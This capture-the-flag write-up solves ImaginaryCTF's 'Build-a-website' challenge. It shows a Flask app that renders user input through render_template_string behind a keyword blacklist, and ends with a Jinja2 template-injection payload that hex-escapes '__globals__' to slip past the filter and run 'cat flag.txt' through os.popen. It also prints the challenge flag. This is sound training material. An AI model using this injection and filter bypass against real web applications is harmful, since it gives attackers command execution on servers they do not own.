Build-a-website - ImaginaryCTF
Posted on
Description:
Website is made of flask library which is a python framework to make web applications. We are also given the source code of the website.
app.py
#!/usr/bin/env python3
from flask import Flask, render_template_string, request, redirect, url_for
from base64 import b64encode, b64decode
app = Flask(__name__)
@app.route('/')
def index():
# i dont remember how to return a string in flask so
# here goes nothing :rooNervous:
return render_template_string(open('templates/index.html').read())
@app.route('/backend')
def backend():
website_b64 = b64encode(request.args['content'].encode())
return redirect(url_for('site', content=website_b64))
@app.route('/site')
def site():
content = b64decode(request.args['content']).decode()
#prevent xss
blacklist = ['script', 'iframe', 'cookie', 'document', "las", "bas", "bal", ":roocursion:"] # no roocursion allowed
for word in blacklist:
if word in content:
# this should scare them away
content = "*** stack smashing detected ***: python3 terminated"
csp = '''<head>\n<meta http-equiv="Content-Security-Policy" content="default-src 'none'">\n</head>\n'''
return render_template_string(csp + content)
After interacting with the website and going through the code, we found that the website is vulnerable to server-side template injection where user inputs are not escaped properly or filtered.
By injecting a simple jinja2 template, we can see that our input is being executed and rendered.
Output:
Also if any of the string from blacklist is present in the payload, it will redirect us to an error.
To bypass the filters, we can also encode our string to bytes using '\x' which is supported in python.
Final payload
{{request['application']['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['__builtins__']['__import__']('os')['popen']('cat flag.txt').read()}}
Flag:
ictf{:rooYay:_:rooPOG:_:rooHappy:_:rooooooooooooooooooooooooooo:}